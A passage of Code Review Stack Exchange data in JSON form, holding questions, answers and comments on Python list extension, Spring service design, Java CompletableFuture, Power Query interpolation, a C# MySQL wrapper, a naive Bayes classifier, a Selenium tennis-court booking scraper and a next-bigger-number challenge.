"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T11:40:29.797",
"Id": "490015",
"Score": "1",
"body": "I was able to reduce the line of code. But the output is slightly different from the expected one. Updating my question as per the same"
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T17:41:15.723",
"Id": "249856",
"ParentId": "249840",
"Score": "5"
}
},
{
"body": "<p>Here is my code review.</p>\n<ul>\n<li><p>It is a good practice to add type hints to Python functions to specify parameter types. See <a href=\"https://pythonpedia.com/en/tutorial/1766/type-hints\" rel=\"nofollow noreferrer\">here</a> for more details. Note that type hints do not affect code execution. It is primarily for improving readability and helping IDEs look for potential bugs.</p>\n</li>\n<li><p>When running code outside a function / class, it is a good practice to put the code inside a <em>main guard</em>. See <a href=\"https://docs.python.org/3/library/__main__.html\" rel=\"nofollow noreferrer\">here</a> for more details.</p>\n<pre><code> if __name__ == "__main__":\n ...\n</code></pre>\n</li>\n<li><p>The <code>for</code>-loop could be improved by using <code>+=</code>, which is equivalent to <code>extend</code> but shorter and faster.</p>\n</li>\n<li><p>If the <code>None</code> input for <code>x2</code> happens rarely, one can use <code>try</code> ... <code>except</code> to catch the exception from <code>len(x2)</code> call in order to improve performance.</p>\n</li>\n</ul>\n<p>Following is my version of improved code. Since the types of input parameters are not explained, I will make the most general assumption that <code>x1</code> is a list and <code>x2</code> is a <a href=\"https://docs.python.org/3/library/collections.abc.html#collections.abc.Sequence\" rel=\"nofollow noreferrer\"><code>Sequence</code></a> or <code>None</code>.</p>\n<pre><code>from typing import Optional, List, Sequence\n\ndef test(x1: List, x2: Optional[Sequence]):\n try:\n if len(x2) == 1:\n x1.append(x2)\n else:\n x1 += x2\n except TypeError:\n pass\n\nif __name__ == "__main__":\n x1_input = ['tt', 'yy', 'pp']\n x2_inputs = [\n None,\n ['hello'],\n ['hello', 'world']\n ]\n\n for x2_input in x2_inputs:\n test(x1_input, x2_input)\n print(x1_input)\n</code></pre>\n<p>Output:</p>\n<pre><code>['tt', 'yy', 'pp']\n['tt', 'yy', 'pp', ['hello']]\n['tt', 'yy', 'pp', ['hello'], 'hello', 'world']\n</code></pre>\n<p>The function could be further shortened as follows:</p>\n<pre><code>def test(x1: List, x2: Optional[Sequence]):\n try:\n x1 += [x2] if len(x2) == 1 else x2\n except TypeError:\n pass\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T13:09:51.023",
"Id": "249883",
"ParentId": "249840",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "249856",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T13:20:00.073",
"Id": "249840",
"Score": "2",
"Tags": [
"python",
"performance"
],
"Title": "Testing extending a list"
}
|
249840
|
<p>I'm writing spring app for storing and manipulating recipes. I wrote ShoppingList service which generates, based on UUIDs of recipes, shopping list. This is my current model for which i wrote tests and works as intended.</p>
<p>Service uses another service called <code>IngredientConverter</code> which converts to response models. Now i wanted to move some dependency to <code>ShoppingList</code> as this function is jealous of functions, but approached a problem. How can a this class use <code>IngredientConverter</code> service without ugly passing it to <code>ShoppingList</code> function? Are there any tips you could give my code and structure planning?</p>
<pre class="lang-java prettyprint-override"><code>@Service
@AllArgsConstructor
public class ShoppingListService {
private final RecipeService recipeService;
private final IngredientConverter ingredientConverter;
public ShoppingList generateShoppingList(List<UUID> uuidsOfRecipes) {
List<Recipe> recipes = recipeService.getAllByIDIn(uuidsOfRecipes);
ShoppingList shoppingList = ShoppingList.empty();
Map<Ingredient, Integer> ingredients = new HashMap<>();
recipes.forEach(recipe ->
recipe.getIngredients().forEach(
ingredientQuantity ->
ingredients.compute(
ingredientQuantity.getIngredient(),
(key, value) ->
value == null ?
ingredientQuantity.getAmount() :
value + ingredientQuantity.getAmount())));
ingredients.keySet().forEach(
ingredient ->
shoppingList.getIngredients().add(
ingredientConverter.convertWithAmount(
ingredient.getName(),
ingredients.get(ingredient),
ingredient.getUnit())
)
);
return shoppingList;
}
}
</code></pre>
<pre class="lang-java prettyprint-override"><code>@Data
@AllArgsConstructor
public class ShoppingList {
private final List<IngredientQuantity> ingredients;
public static ShoppingList of(List<IngredientQuantity> ingredients) {
return new ShoppingList(ingredients);
}
public static ShoppingList empty(){
return ShoppingList.of(new ArrayList<>());
}
}
</code></pre>
<pre class="lang-java prettyprint-override"><code>
@Service
public class IngredientConverter {
public IngredientQuantity convertWithAmount(String name, int amount, Unit unit) {
return IngredientQuantity.builder()
.amount(amount)
.ingredient(convert(name, unit))
.build();
}
}
</code></pre>
<pre class="lang-java prettyprint-override"><code>@Data
@Entity
@SuperBuilder
@NoArgsConstructor
@AllArgsConstructor
@EqualsAndHashCode(callSuper = true)
public class IngredientQuantity extends IdentifiableEntity {
private int amount;
@ManyToOne
private Ingredient ingredient;
}
</code></pre>
<pre class="lang-java prettyprint-override"><code>@Data
@Getter
@Entity
@SuperBuilder
@NoArgsConstructor
@AllArgsConstructor
@EqualsAndHashCode(callSuper = false)
public class Ingredient extends IdentifiableEntity {
private String name;
@Enumerated(EnumType.STRING)
private Unit unit;
}
</code></pre>
<pre class="lang-java prettyprint-override"><code>@Getter
@NoArgsConstructor
@SuperBuilder
@MappedSuperclass
public class IdentifiableEntity {
@Id
@GeneratedValue(strategy = GenerationType.AUTO)
private UUID ID;
}
<span class="math-container">```</span>
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T13:49:22.173",
"Id": "489915",
"Score": "1",
"body": "The current question title of your question is too generic to be helpful. Please edit to the site standard, which is for the title to simply **state the task accomplished by the code**. Please see [**How do I ask a good question?**](https://CodeReview.StackExchange.com/help/how-to-ask)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-28T06:07:09.330",
"Id": "490200",
"Score": "0",
"body": "The only thing Lombok's autogenerated methods provide to me is frustration when I try to find which classes use a certain field of a data class. It doesn't save typing because it takes longer to write the annotation than it takes to autogenerate the ccessor methods in an IDE. Please reconsider your decision of using it. It may seem like a nifty tool at first but in the long run it is simply counterproductive."
}
] |
[
{
"body": "<p>I would inject the converterservice into ShoppingList and implement an add() function, which adds an element to the ShoppingList after conversion.</p>\n<pre><code>void add(name, ingredient, unit) {\n IngredientQuantity toAdd = this.converterService.convert(name, ingredient, unit); // terrible naming, todo!\n this.ingredients.add(toAdd);\n}\n</code></pre>\n<p>Now the shopping list is the owner of conversion which (arguably) is modelling real life. When I need to shop for milk, I convert the American recipes to litres instead of ounces or whatever.</p>\n<p>This also simplifies your last lambda function, you just need to iterate over the keyset and call ShoppingList::add, which is Java8+ method ref syntax.</p>\n<p>The other huge lambda should probably also be split into parts, I mean, I love functional java as much as anyone, but I believe this is cutting the line of functional utility over readability.\nPseudocode</p>\n<pre><code>foreach Recipe:\n foreach Ingredient : Recipe\n compute(ingredient)\n</code></pre>\n<p>These are my 2 cents.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T14:02:48.657",
"Id": "489921",
"Score": "0",
"body": "Thank you for response, should see service be injected in constructor, and should I just pass it to my static constructor from service?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T14:04:10.667",
"Id": "489922",
"Score": "0",
"body": "Inject the service into a ShoppingList constructor, so that it autowires."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T14:15:05.477",
"Id": "489926",
"Score": "0",
"body": "And could you elaborate on terrible naming in your comment? How could naming here be improved?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T14:20:43.087",
"Id": "489931",
"Score": "0",
"body": "toAdd is not an illuminating name. Maybe ingredient?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T15:04:13.253",
"Id": "489938",
"Score": "0",
"body": "Aa okay, I thought you commented on my service function, thx for replies"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T10:24:26.860",
"Id": "490002",
"Score": "0",
"body": "Sorry if i am bothering you again, how to autowire a service to POJO class?"
}
],
"meta_data": {
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T13:42:04.350",
"Id": "249842",
"ParentId": "249841",
"Score": "1"
}
},
{
"body": "<h1>Streams</h1>\n<p>A couple things to keep in mind.</p>\n<ul>\n<li><p>The new syntax for .forEach() is cool but it should be used for simple things and it should not be nested. Either refactor it to avoid nesting or extract the nested parts to methods. This way those parts will have names which should make their purpose obvious.</p>\n</li>\n<li><p>Don't modify collections with .forEach. If you need to process a collection use streams and collectors to construct the collection you desire. This will eliminate the temporal coupling between creating empty collections and filling them up.</p>\n<pre><code> public ShoppingList generateShoppingList(List<UUID> uuidsOfRecipes) {\n List<Recipe> recipes = recipeService.getAllByIDIn(uuidsOfRecipes);\n Map<Ingredient, Integer> ingredients = recipes.stream()\n .flatMap(recipe -> recipe.getIngredients().stream())\n .collect(Collectors.toMap(\n IngredientQuantity::getIngredient,\n IngredientQuantity::getAmount,\n Integer::sum));\n\n # Next step would be to refactor this piece.\n ShoppingList shoppingList = ShoppingList.empty();\n ingredients.forEach((ingredient, amount) -> shoppingList.getIngredients().add(\n ingredientConverter.convertWithAmount(\n ingredient.getName(),\n amount,\n ingredient.getUnit())\n ));\n\n return shoppingList;\n }\n</code></pre>\n</li>\n</ul>\n<p>Note: The code is untested.</p>\n<h1>General</h1>\n<ul>\n<li>I would suggest dropping the <code>IngredientConverter</code>. It serves no purpose since in can be replaced by a constructor.</li>\n<li>The only object with any meaningful logic is <code>ShoppingListService</code>. You could make your code more object oriented by delegating some logic to other parts. For example Shopping list can be responsible for aggregation of ingredience. Just implement <code>add(IngredientQuantity)</code> on it and let it handle the ingredient totals. This would further simplify the service since it won't have to convert to maps and calculating the total there.</li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-10-14T10:49:40.063",
"Id": "250643",
"ParentId": "249841",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T13:24:33.637",
"Id": "249841",
"Score": "2",
"Tags": [
"java",
"object-oriented",
"spring"
],
"Title": "Designing object oriented clean code structure with spring services"
}
|
249841
|
<p>I writing this code to leverage the advantages of Completable future.</p>
<p>My doubt is call cancel() method after get() is correct approach?</p>
<pre><code> private void combineFilters(JobFilter jobFilter,
CompletableFuture<List<String>> measureCompletableFuture,
CompletableFuture<List<String>> dqTypCompletableFuture,
CompletableFuture<List<String>> ownerCompletableFuture,
CompletableFuture<List<String>> jobTypeCompletableFuture,
CompletableFuture<List<String>> jobStateCompletableFuture) {
try {
CompletableFuture.allOf(measureCompletableFuture, dqTypCompletableFuture,
ownerCompletableFuture, jobTypeCompletableFuture,
jobStateCompletableFuture)
.join();
LOGGER.info("All filters DB calls completed");
if (measureCompletableFuture.isDone()) {
LOGGER.info("Populating measure filters results");
jobFilter.setMeasureName(measureCompletableFuture.get());
}
if (dqTypCompletableFuture.isDone()) {
LOGGER.info("Populating dqtype filters results");
jobFilter.setDqType(dqTypCompletableFuture.get());
}
if (ownerCompletableFuture.isDone()) {
LOGGER.info("Populating owner filters results");
jobFilter.setOwner(ownerCompletableFuture.get());
}
if (jobTypeCompletableFuture.isDone()) {
LOGGER.info("Populating jobtype filters results");
jobFilter.setType(jobTypeCompletableFuture.get());
}
if (jobStateCompletableFuture.isDone()) {
LOGGER.info("Populating jobstate filters results");
jobFilter.setTriggerState(jobStateCompletableFuture.get());
}
} catch (InterruptedException | ExecutionException e) {
LOGGER.error("Exception occurred while populating the filter results {}",
e.getMessage());
Thread.currentThread().interrupt();
} finally {
LOGGER.info("Exiting from combine job filters");
measureCompletableFuture.cancel(true);
dqTypCompletableFuture.cancel(true);
ownerCompletableFuture.cancel(true);
jobTypeCompletableFuture.cancel(true);
jobStateCompletableFuture.cancel(true);
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T15:07:36.690",
"Id": "489940",
"Score": "1",
"body": "The current question title of your question is too generic to be helpful. Please edit to the site standard, which is for the title to simply **state the task accomplished by the code**. Please see [**How do I ask a good question?**](https://CodeReview.StackExchange.com/help/how-to-ask)."
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T14:43:39.053",
"Id": "249847",
"Score": "1",
"Tags": [
"multithreading"
],
"Title": "calling Cancel() on CompletableFuture after get() is correct approch"
}
|
249847
|
<p>I have written a (relatively) generic function for interpolating values in power query (also useful for power bi and m code).</p>
<p>I am looking for any improvements or input, but especially:</p>
<ol>
<li>speed</li>
<li>handle more inputs correctly (more generic)</li>
<li>documentation / readability of code</li>
</ol>
<pre><code>(Input as table, xColumn as text, yColumn as text) =>
//Interpolates missing yColumn values based on nearest existing xColumn, yColumn pairs
let
Buffer = Table.Buffer(Input),
//index for joining calculations and preserving original order
#"Added Main Index" = Table.AddIndexColumn(Buffer, "InterpolateMainIndex", 0, 1),
#"Two Columns and Index" = Table.RemoveColumns(#"Added Main Index", List.Select(Table.ColumnNames(#"Added Main Index"), each _ <> xColumn and _ <> yColumn and _ <> "InterpolateMainIndex")),
#"Remove Blanks" = Table.SelectRows(#"Two Columns and Index", each Record.Field(_, yColumn) <> null and Record.Field(_, yColumn) <> ""),
//index for refering to next non-blank record
#"Added Sub Index" = Table.AddIndexColumn(#"Remove Blanks", "InterpolateSubIndex", 0, 1),
//m = (y2 - y1) / (x2 - x1)
m = Table.AddColumn(#"Added Sub Index",
"m",
each (Number.From(Record.Field(_, yColumn))-Number.From(Record.Field(#"Added Sub Index"{[InterpolateSubIndex]+1}, yColumn))) /
(Number.From(Record.Field(_, xColumn))-Number.From(Record.Field(#"Added Sub Index"{[InterpolateSubIndex]+1}, xColumn))),
type number),
//b = y - m * x
b = Table.AddColumn(m, "b", each Record.Field(_, yColumn) - [#"m"] * Number.From(Record.Field(_, xColumn)), type number),
//rename or remove columns to allow full join
#"Renamed Columns" = Table.RenameColumns(b,{{"InterpolateMainIndex", "InterpolateMainIndexCopy"}}),
xColumnmb = Table.RemoveColumns(#"Renamed Columns",{yColumn, xColumn, "InterpolateSubIndex"}),
Join = Table.Join(#"Added Main Index", "InterpolateMainIndex", xColumnmb, "InterpolateMainIndexCopy", JoinKind.FullOuter),
//enforce orignal sorting
#"Sorted by Main Index" = Table.Sort(Join,{{"InterpolateMainIndex", Order.Ascending}}),
#"Filled Down mb" = Table.FillDown(#"Sorted by Main Index",{"m", "b"}),
//y = m * x + b
Interpolate = Table.ReplaceValue(#"Filled Down mb",null,each ([m] * Number.From(Record.Field(_, xColumn)) + [b]),Replacer.ReplaceValue,{yColumn}),
//clean up
#"Remove Temporary Columns" = Table.RemoveColumns(Interpolate,{"m", "b", "InterpolateMainIndex", "InterpolateMainIndexCopy"}),
#"Restore Types" = Value.ReplaceType(#"Remove Temporary Columns", Value.Type(Input))
in
#"Restore Types"
</code></pre>
<p>Lastly, there were no tags for power query, power bi, or interpolating. I'm not sure what other tags I can use for this post besides excel.</p>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T15:25:12.023",
"Id": "249848",
"Score": "2",
"Tags": [
"excel"
],
"Title": "Generic function for interpolating missing values in power query"
}
|
249848
|
<p>I'm a teen developer who just does this as a hobby, but I still care about good practice even if I don't fully understand it. Two of the most used phrases when sharing the code of my C# MySQL library is bundling and abstraction,</p>
<p>First of all... do I need to reduce said phrases? If so, how can I do that? Among any other general recommendations on areas, I can improve.</p>
<p>DatabaseProvider: This simply just holds state for database settings (host, name, port, etc) and returns a new instance of <code>DatabaseConnection</code> whenever the application needs one.</p>
<pre><code>public class DatabaseProvider : IDatabaseProvider
{
private readonly string _connectionString;
public DatabaseProvider(string databaseName, string password, uint port, string host, string username)
{
_connectionString = new MySqlConnectionStringBuilder
{
Database = databaseName,
Password = password,
Port = port,
Server = host,
UserID = username,
SslMode = MySqlSslMode.None,
DefaultCommandTimeout = 30,
CharacterSet = "utf8mb4",
AllowUserVariables = true,
MinimumPoolSize = 1,
}.ToString();
}
public DatabaseConnection GetConnection()
{
var connection = new MySqlConnection(_connectionString);
var command = connection.CreateCommand();
return new DatabaseConnection(connection, command);
}
}
</code></pre>
<p>DatabaseConnection: Also pretty simple, although very different from the provider. This is the actual abstracted instance of <code>MySqlConnection</code> with utility methods to perform frequent operations like fetching rows or collections of rows or just running general queries. It also supports parameters although they aren't type-safe.</p>
<pre><code>public class DatabaseConnection : IDisposable
{
private readonly MySqlConnection _connection;
private readonly MySqlCommand _command;
public DatabaseConnection(MySqlConnection connection, MySqlCommand command)
{
_connection = connection;
_command = command;
_connection.Open();
}
public void SetQuery(string commandText)
{
_command.Parameters.Clear();
_command.CommandText = commandText;
}
public void ExecuteQuery()
{
_command.ExecuteNonQuery();
}
public DataTable ExecuteTable()
{
var dataTable = new DataTable();
using var adapter = new MySqlDataAdapter(_command);
adapter.Fill(dataTable);
return dataTable;
}
public DataRow ExecuteRow()
{
DataRow dataRow = null;
var dataSet = new DataSet();
using (var adapter = new MySqlDataAdapter(_command))
{
adapter.Fill(dataSet);
}
if (dataSet.Tables.Count > 0 && dataSet.Tables[0].Rows.Count == 1)
{
dataRow = dataSet.Tables[0].Rows[0];
}
return dataRow;
}
public void AddParameter(string name, object value)
{
_command.Parameters.AddWithValue(name, value);
}
public void Dispose()
{
if (_connection.State != ConnectionState.Closed)
{
_connection.Close();
}
_connection.Dispose();
_command.Dispose();
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T16:15:36.650",
"Id": "489948",
"Score": "0",
"body": "Are the complaints about too much abstraction or not enough? Are you aware of the .net Entity Framework for databases that works with SQL server or MySQL?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T16:21:29.640",
"Id": "489951",
"Score": "1",
"body": "Well the complaints are usually to do with too much boilerplate so I would say not enough. I've heard of various frameworks and ORMs although they all seem overkill for what I want to do."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T16:56:03.113",
"Id": "489952",
"Score": "0",
"body": "Could you please provide the using statements for the 2 classes you show here such as `using System.Data;` and `using MySql.Data.MySqlClient;`. This will help us review the code."
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T15:57:37.213",
"Id": "249851",
"Score": "2",
"Tags": [
"c#",
"mysql"
],
"Title": "C# MySQL library: How can I reduce bundling and abstraction?"
}
|
249851
|
<p>In order to continue improving my Python knowledge, I have implemented a naïve Bayes classifier as described in "<a href="https://nlp.stanford.edu/IR-book/pdf/irbookonlinereading.pdf" rel="nofollow noreferrer">An introduction to Information Retrieval</a>". I would be very interested which parts could be improved, be it e.g. coding style or use of data structures.</p>
<pre><code>"""Implementation of a naive Bayes classifier based on sentiment labelled sentences.
See https://nlp.stanford.edu/IR-book/pdf/irbookonlinereading.pdf for the algorithm.
The dataset was obtained from
https://archive.ics.uci.edu/ml/datasets/Sentiment+Labelled+Sentences"""
import sys
import re
import math
from collections import Counter
from stop_words import get_stop_words
# PARAMETERS
DATAFILE = "data\\imdb_labelled.txt"
# FUNCTIONS
def load_data(filepath):
"""Load the sentiment labelled data."""
# A library is a list of categories, which label a list of documents
library = [[],[]]
# The textfile is formatted as document (string), TAB, category (int), NL
with open(filepath, 'r') as file:
for line in file:
document, category = line.split('\t')
library[int(category)].append(document)
return library
def clean_library(library):
"""Clean documents in the library array."""
for i, category in enumerate(library):
for j, document in enumerate(category):
cleaned_doc = clean_document(document)
library[i][j] = cleaned_doc
def clean_document(document):
"""Clean a document from stop words, numbers and various other
characters and return a list of all words."""
stop_words = get_stop_words('en')
new_doc = document.strip().lower()
new_doc = re.sub("[-0-9.,!;:\\/()\"&]", "", new_doc)
new_doc = new_doc.split()
new_doc = [word for word in new_doc if word not in stop_words]
return new_doc
def train_categories(library):
"""Calculate probabilities for the naive Bayes classifier and
return the vocabulary with conditional probabilities and the priors."""
total_docs = sum((len(category) for category in library))
vocabulary = [word for category in library
for document in category
for word in document]
cond_prob = []
prior = []
for category in library:
# Prior probability
total_cat_docs = len(category)
prior.append(total_cat_docs / total_docs)
# Conditional probabilities
text = [word for document in category for word in document]
word_count = Counter(text)
total_word_count = sum(word_count.values())
cat_cond_prob = {}
for word in vocabulary:
cat_cond_prob[word] = (word_count[word] + 1) / (total_word_count + 1)
cond_prob.append(cat_cond_prob)
return (vocabulary, prior, cond_prob)
def apply_nb(vocabulary, priors, cond_prob, document):
"""Apply the naive Bayes classification to a document in order
to retrieve its category."""
prepared_doc = clean_document(document)
prepared_doc = [word for word in prepared_doc if word in vocabulary]
score = [math.log(prior) for prior in priors]
for cat, cat_cond_prob in enumerate(cond_prob):
score[cat] = sum((math.log(cat_cond_prob[word]) for word in prepared_doc))
return score.index(max(score))
def main(argv):
"""Train a naive Bayes classifier and apply it to a user-supplied string."""
if len(argv) == 0:
print("Please supply a document string.")
return
user_doc = argv[0]
library = load_data(DATAFILE)
clean_library(library)
vocabulary, priors, cond_prob = train_categories(library)
doc_cat = apply_nb(vocabulary, priors, cond_prob, user_doc)
print(f'"{user_doc}": Category {doc_cat}')
if __name__ == "__main__":
main(sys.argv[1:])
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-11-04T02:32:32.003",
"Id": "495309",
"Score": "0",
"body": "Add either clearer docstrings indicating what types are taken in and returned, or new python type annotations. Ex. what does \"load_data\" return?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-11-04T02:33:39.297",
"Id": "495310",
"Score": "0",
"body": "Define a data type \"bayes model\" to hold: \"vocabulary, priors, cond_prob\""
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T17:40:12.120",
"Id": "249855",
"Score": "3",
"Tags": [
"python"
],
"Title": "Naive Bayes Classifier for sentiment labelled documents"
}
|
249855
|
<h1>Description</h1>
<p>I'm not sure if it Covid-19 but lately it is impossible to book a tennis court in my area on time. It's always full or maybe just don't check enough :)</p>
<p>To beat the queue and get notified earlier, I started making a scraper to ensure I can book a court on time.</p>
<p>But because of iframe hell and the lack (to my knowledge) of an API it was impossible to do it the easy way, hence I used selenium. I coded this today and it works pretty well, although it's already become a bit of a mess.</p>
<h1>Todo</h1>
<p>Dynamically detecting the hours available and starting time of the day, so I don't have to supply those values anymore, because my guess is they will change (depending on the time it will get dark etc.)</p>
<p>You can still flame me for it, but I just haven't found a good way to do it yet, now I just supply them in the <code>COURTS</code> dictionary</p>
<h1>Code</h1>
<pre><code>#!/usr/bin/python3
import time
from selenium import webdriver
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.by import By
# At what minimal time I am willing/able to book
WEEKEND_TIME = 10
WEEK_TIME = 18
COURTS = {
# Some courts have different hours available and the hour at which you can start can differ
# Thus it is key -> name with values -> url, hours available, time diff start
"Bethnal Green Gardens" : ["https://www.towerhamletstennis.org.uk/bethnal-green-gardens-court-bo", 14, 0],
"St Johns Park" : ["https://www.towerhamletstennis.org.uk/st-johns-park-court-boo", 14, 1],
"Poplar Rec" : ["https://www.towerhamletstennis.org.uk/poplar-rec-court-bookin", 12, 0],
"King Edward's Park" : ["https://www.towerhamletstennis.org.uk/kemp-court-bookin", 12, 0],
"Victoria Park" : ["https://www.towerhamletstennis.org.uk/victoria-park-court-book", 12, 0],
}
def get_week_schedule(driver, time_length, time_start, first_week=True):
elem = driver.find_element_by_xpath('//div[@class="cal_time cal_time_time"]')
sched = [e.text for e in elem.find_elements_by_xpath('//div[@class="inc"]')]
times = sched[time_start:17]
active = sched[17:]
# When first week we only want from x till sunday and second week monday till x
days = ["Sunday", "Saturday", "Friday", "Thursday", "Wednesday", "Tuesday", "Monday"]
active_days = days[:len(active) // time_length][::-1] if first_week \
else days[::-1][:len(active) // time_length]
week_schedule = {}
for i, active_day in enumerate(active_days):
week_schedule[active_day] = {
int(times[j].split(":")[0]) : active[i * time_length + j]
for j in range(time_length)
}
return week_schedule
def get_court_schedule(driver, data):
url, time_length, time_start = data
driver.get(url)
# Yo dawg, I heard you like iframes so I put an iframe in your iframe...
WebDriverWait(driver, 3).until(EC.presence_of_element_located((By.XPATH, "//iframe")))
driver.switch_to.frame(driver.find_element_by_tag_name("iframe"))
driver.switch_to.frame(driver.find_element_by_tag_name("iframe"))
court_schedule = {}
court_schedule["this"] = get_week_schedule(driver, time_length, time_start)
# Next week is second element
elem = driver.find_elements_by_xpath("//a[@href]/span")
elem[1].click()
# TODO Fix time.sleep... but same page so how can we wait?
time.sleep(5)
court_schedule["next"] = get_week_schedule(driver, time_length, time_start, first_week=False)
return court_schedule
def get_schedule():
driver = webdriver.Chrome()
court_schedules = {
court_name : get_court_schedule(driver, url)
for court_name, url in COURTS.items()
}
driver.quit()
return court_schedules
def get_available_dates(schedule):
for court_name, court_schedule in schedule.items():
for week, week_schedule in court_schedule.items():
for day, day_schedule in week_schedule.items():
earliest_time = WEEKEND_TIME if day in ("Saturday", "Sunday") else WEEK_TIME
for hour, available in day_schedule.items():
if hour >= earliest_time and available not in ("Full", " "):
print(f"Can book at court {court_name} {week} week on {day} at {hour} for price {available}")
if __name__ == "__main__":
schedule = get_schedule()
get_available_dates(schedule)
</code></pre>
<h1>Example output</h1>
<pre><code>./tennis.py
Can book at court Poplar Rec next week on Saturday at 10 for price £6
Can book at court Poplar Rec next week on Saturday at 11 for price £6
Can book at court King Edward's Park this week on Saturday at 18 for price £6
Can book at court King Edward's Park next week on Friday at 18 for price £6
Can book at court King Edward's Park next week on Saturday at 10 for price £6
Can book at court King Edward's Park next week on Saturday at 11 for price £6
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T19:01:38.837",
"Id": "489957",
"Score": "1",
"body": "Hey. Are the various PEP 8 violations intentional?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T19:03:56.643",
"Id": "489958",
"Score": "0",
"body": "I am aware of them, yes. :)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T19:06:31.530",
"Id": "489959",
"Score": "1",
"body": "Ah, I though so. :) Might be worth mentioning that in the post."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-10-26T01:34:54.087",
"Id": "531451",
"Score": "0",
"body": "The widget seems driven by bookingbug. \nApi here: https://uk.bookingbug.com/apidocs/v1/index.html\nMight work..."
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T18:48:43.660",
"Id": "249860",
"Score": "6",
"Tags": [
"python",
"python-3.x",
"web-scraping",
"selenium"
],
"Title": "Booking an East London Tennis Court"
}
|
249860
|
<p>I was practicing python on codewars.com with this question:</p>
<p><strong>Create a function that takes a positive integer and returns the next bigger number that can be formed by rearranging its digits. For example:</strong></p>
<p>12 ==> 21</p>
<p>513 ==> 531</p>
<p>2017 ==> 2071</p>
<p>But when I attempted my solution it said it was not optimized enough</p>
<p>Can someone say why it said that?</p>
<pre class="lang-py prettyprint-override"><code>from itertools import permutations
def next_bigger(n):
per = list(permutations(str(n)))
result = []
for j in per:
result.append(int("".join(j)))
for i in sorted(result):
if i > n:
return i
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T20:40:14.803",
"Id": "489967",
"Score": "6",
"body": "This is more a question for [StackOverflow](https://stackoverflow.com/). In any case, you are doing a lot of work, creating *all* possible permutations, sorting all of them, and then going linearly through the results until you find the right value. You should try to find a smarter algorithm. Have a look at the given examples: what exactly was changed to get the next larger number? Can you reproduce this using the minimum amount of work? Since it's a codewars problem I won't spoil the answer."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T22:20:32.607",
"Id": "489980",
"Score": "5",
"body": "@G.Sliepen I'm not certain this belongs on Stack Overflow. The code works. It doesn't have any bugs. It is merely inefficient, which is something which Code Review does focus on."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T22:37:15.440",
"Id": "489981",
"Score": "3",
"body": "@AJNeufeld I would normally agree, but this code in particular was written for a coding challenge with performance requirements, and this code doesn't meet those requirements, thus it is not working as intended."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T23:15:07.607",
"Id": "489985",
"Score": "1",
"body": "@G.Sliepen Yes, it is for a coding challenge, and Code Review actually has a [tag:programming-challenge] tag explicitly for those. (As I have just added)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T02:29:53.350",
"Id": "489988",
"Score": "2",
"body": "If you turn the numbers into strings, you can look for sub-strings containing larger numbers (assuming the leading digit is unchanged); beware of edge cases (example: 1300 —> 3001). For large numbers (or a sufficient number of numbers), a smart algorithm will be faster than brute-forcing all possible combinations."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T02:44:06.487",
"Id": "489989",
"Score": "3",
